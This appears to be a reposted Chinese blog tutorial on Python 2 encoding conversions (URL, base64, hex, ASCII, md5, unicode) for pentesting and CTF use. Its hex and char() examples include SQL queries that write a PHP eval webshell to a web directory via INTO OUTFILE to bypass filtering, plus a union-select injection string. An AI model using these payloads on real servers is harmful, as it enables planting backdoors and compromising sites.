妙用python之编码转换

摘要:
翻译春秋文章的困难:★ ★ 知识点:python,代码转换前导码,在日常渗透、漏洞挖掘,甚至在CTF比赛中,都会遇到各种代码,通常伴随着这些代码之间的各种转换。直到使用python作为我的日常代码转换工具。。。但是如果您使用python,它将与上面的base64解密一样简单,只需更改函数:[python]˃˃˃importbase64˃˃˃base64。b32编码'NJFGU2TK'˃˃˃base64。b32decode'jjj'3Hex十六进制编码也是Web应用程序中常见的编码方案。如果你使用打嗝,就会出现中文乱码的问题。它在python中实现非常简单。

转自i春秋

文章难易度:★★

知识点:python、编码转换

前 言

在日常渗透,漏洞挖掘,甚至是CTF比赛中,会遇到各种编码,常常伴随着这些编码之间的各种转换。记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

妙用python之编码转换第1张

妙用python之编码转换第2张

直到使用python来作为我日常编码转换工具……

开启py转换之旅

1

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

[Python] 

>>> from urllib import *

>>> quote("union select null,null,null")

'union%20select%20null%2Cnull%2Cnull'

>>> unquote("union%20select%20null%2Cnull%2Cnull")

'union select null,null,null'

>>> urlencode({'x':'2333','y':'666'})

'y=666&x=2333'

2

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

[Python]

>>> import base64

>>> base64.b64encode("admin")

'YWRtaW4='

>>> base64.b64decode('YWRtaW4=')

'admin'

或者更简单的
>>>
'YWRtaW4='.decode('base64')

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

[Python] 

>>> import base64

>>> base64.b32encode('jjjjj')

'NJVGU2TK'

>>> base64.b32decode('NJVGU2TK')

'jjjjj'

3

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
比如:

[SQL] 

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

[Python] 

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')

'3c3f70687020406576616c28245f504f53545b615d293b203f3e'

>>>

>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')

<?php @eval($_POST[a]); ?>

4

Ascii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。
比如:

[SQL] 

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

[Python]

>>> map(ord, "<?php phpinfo() ?>")

[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

 

>>> print chr(112)

p

 

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print ''.join(map(chr,l))       #这里采用pcat表哥指出的方法

<?php phpinfo() ?>

5

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

[Python] 

>>> from hashlib import md5

>>> m = md5()

>>> m.update('this is a secret')

>>> m.hexdigest()

'7dbbcee180ba4d456e4aa1cfbdad9c7b'

 

>>> m.hexdigest()[8:-8]

'80ba4d456e4aa1cf'

>>>
另外也可调用python中的md5模块,请参见我的另一篇博文http://www.cnblogs.com/WangAoBo/p/6921865.html

6

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

[Python] 

>>> print u"u4f60u9700u8981u91cdu65b0u767bu9646"

你需要重新登陆

免责声明:文章转载自《妙用python之编码转换》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇url传参及重定向NETCONF+Yang配置TSN下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

linux 安装Python3.6

1、安装依赖 yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel 2、下载安装包(可以Windows下载https:...

HTML之Data URL(转)

Data URL给了我们一种很巧妙的将图片“嵌入”到HTML中的方法。跟传统的用img标记将服务器上的图片引用到页面中的方式不一样,在Data URL协议中,图片被转换成base64编码的字符串形式,并存储在URL中,冠以mime-type。本文中,我将介绍如何巧妙的使用Data URL优化网站加载速度和执行效率。 1. Data URL基本原理 Data...

HTB-靶机-Reddish

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关 靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.94 本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描 执行命令autorecon 10.10.10.94 -o...

团队介绍&amp;amp;学长采访

1. 团队介绍       刘畅 博客园ID:森高Slontia 身份:PM 个人介绍: 弹丸粉 || 小说创作爱好者 || 撸猫狂魔 我绝对不知道,我一个写代码的怎么就当PM去了?         张安澜 博客园ID:MinstrelZ 身份:开发 个人介绍: 张安澜,来自北京航空航天大学2015级计算机学院,喜欢旅游,修仙党,lol大乱斗选手,吃鸡...

Python入门练手100例

【Python练习实例001】   有四个数字:1、2、3、4,能组成多少个互不相同且无重复数字的三位数?各是多少? 【Python练习实例002】   企业发放的奖金根据利润提成。利润(I)低于或等于10万元时,奖金可提10%;利润高于10万元,低于或等于20万元时,10万的部分按10%提成,高于10万元的部分,可提成7.5%;20万到40万元(含)之间...

ubuntu 配置vim编辑器

 憋了很久,终于用上了unix下的vim 开发环境: 安装pydiction   pydiction用来实现代码补全和语法提示功能。pydiction不能通过apt安装,需要自行下载安装。 git clone https://github.com/rkulla/pydiction #https://github.com/ma6174/vim 看个人吧...